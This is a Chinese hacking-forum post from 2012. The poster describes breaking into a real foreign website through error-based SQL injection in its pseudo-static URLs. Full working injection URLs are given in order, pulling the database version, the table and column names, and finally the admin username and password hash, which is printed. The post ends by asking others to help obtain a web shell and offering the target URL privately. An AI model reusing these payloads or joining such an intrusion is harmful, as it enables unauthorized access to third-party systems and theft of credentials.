找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2389|回复: 0
打印 上一主题 下一主题

对国外站的伪静态注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-20 09:00:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。
* s1 u( n3 W% _/ u, Y

首先找到网站后台,加了个admin,后台出来了


* J, j- `3 D) w
3 l% a" j2 P9 C* e0 U# |) j
2 u; L' R: @, Y0 y* T/ R6 {, {) P

然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入- N+ j) c/ B8 A; c. g- X) d
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg

从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。

首先查下数据库相关信息。

www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—; F4 p6 c% c' C8 ?
- Z0 W  i% Y# t% _! k& L
: W; Q* n" R4 v* X1 [" v! r
& R6 M& C$ C9 `/ ~% i% n3 O
, ?: _0 l! v' \. i) C" r
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg
0 h6 W! e6 v7 J9 J' T' ]; k+ `
/ U! V% o+ ]+ r0 `0 e
* y/ o2 H- `2 G
, ~0 \# s5 G% ?0 N% b1 N; y4 _3 }- k& C+ P9 P& k( e
可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。

然后我们查表

http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))--

得到管理员表段frame_administrator# P+ b. a0 v" Q- j; B

4 Q/ Q( m* B5 C* [2 A, f/ j0 B0 u
% N0 M' k8 Z# O) rhttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg9 e/ p1 @1 l- X3 r' @
% l3 J! Q  |) w/ ~, ?& Z

; v% i( L! o. O; m$ \8 M, S5 E# U

查字段

http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--
8 c9 P8 r; q& Y6 j9 D3 e8 M! @; H" `3 \5 S1 O

/ G2 ^2 v4 ]' {' B7 ]& t0 ^3 \( f

得到userID,userPass字段

最后

http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--1 A* ?3 q) F( F7 Q4 Y8 O6 L

' y) `0 s3 T1 k( m% k- M+ S1 ], |( x8 c+ ]3 @

4 ?6 r9 s* R0 Y% q  ]. h2 r) i  A

得到最终结果admin eb0a191797624dd3a48fa681d3061212

解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表